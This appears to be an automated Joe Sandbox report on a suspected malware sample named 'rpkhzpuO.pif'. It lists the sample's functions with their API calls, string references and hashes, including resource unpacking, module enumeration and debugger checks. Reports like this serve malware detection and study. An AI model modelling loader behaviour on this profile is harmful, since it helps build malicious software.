Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
Instruction ID: 9a75b562804b8b195a977d92a0dee1ee275df803f1740a763ebf72c929afcb46
Opcode Fuzzy Hash: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
Instruction Fuzzy Hash: 3021B4B1A80619ABDB10CF69CC80BAFB7B9EF84352F104511EE1097344EF34D911EAA4

Analysis Process: rpkhzpuO.pifPID: 1012, Parent PID: 5776COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3%
Total number of Nodes:	1930
Total number of Limit Nodes:	69

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNELBASE(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

{, xrefs: 0040205B
6, xrefs: 004020C5
U, xrefs: 004020F5
8, xrefs: 00401BA9
h, xrefs: 00401A6F
[, xrefs: 00402047
W, xrefs: 004020E6
", xrefs: 00401B0F
), xrefs: 0040202E
', xrefs: 00401AF6
0, xrefs: 00401BBD
', xrefs: 00402006
D, xrefs: 00401DFB
%, xrefs: 004020FA
W, xrefs: 00401B23
:, xrefs: 00401B28
x, xrefs: 0040214A
o, xrefs: 00402159
x, xrefs: 00401B78
{, xrefs: 00401B4B
., xrefs: 0040201F
o, xrefs: 00401B8D
4, xrefs: 00402074
v, xrefs: 00401E4B
v, xrefs: 0040206A
*, xrefs: 004020E1
v, xrefs: 00401B5A
o, xrefs: 00402097
{, xrefs: 00401E3C
W, xrefs: 00401B14
4, xrefs: 00402136
V, xrefs: 00402038
___, xrefs: 0040227D
!, xrefs: 00401B1E
x, xrefs: 00402088
V, xrefs: 00401E19
x, xrefs: 00401E69
{, xrefs: 0040211D
!, xrefs: 004020CF
E, xrefs: 00401E0F
v, xrefs: 0040212C
W, xrefs: 00402033
!, xrefs: 0040201A
_._, xrefs: 00402257
4, xrefs: 00401B64
[, xrefs: 00401B37
., xrefs: 00401B0A
5, xrefs: 00402109
*, xrefs: 00401A1F

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 0040E7EE Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 0040E7F6

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 0040EA0A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 0040EA16

Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00000000), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EntryPoint.RPKHZPUO(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(?,00000001,00000000,00000000,00000015,-30B19E70,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.RPKHZPUO(80070057), ref: 00401800
EntryPoint.RPKHZPUO(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.RPKHZPUO(8007000E), ref: 00401839
EntryPoint.RPKHZPUO(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
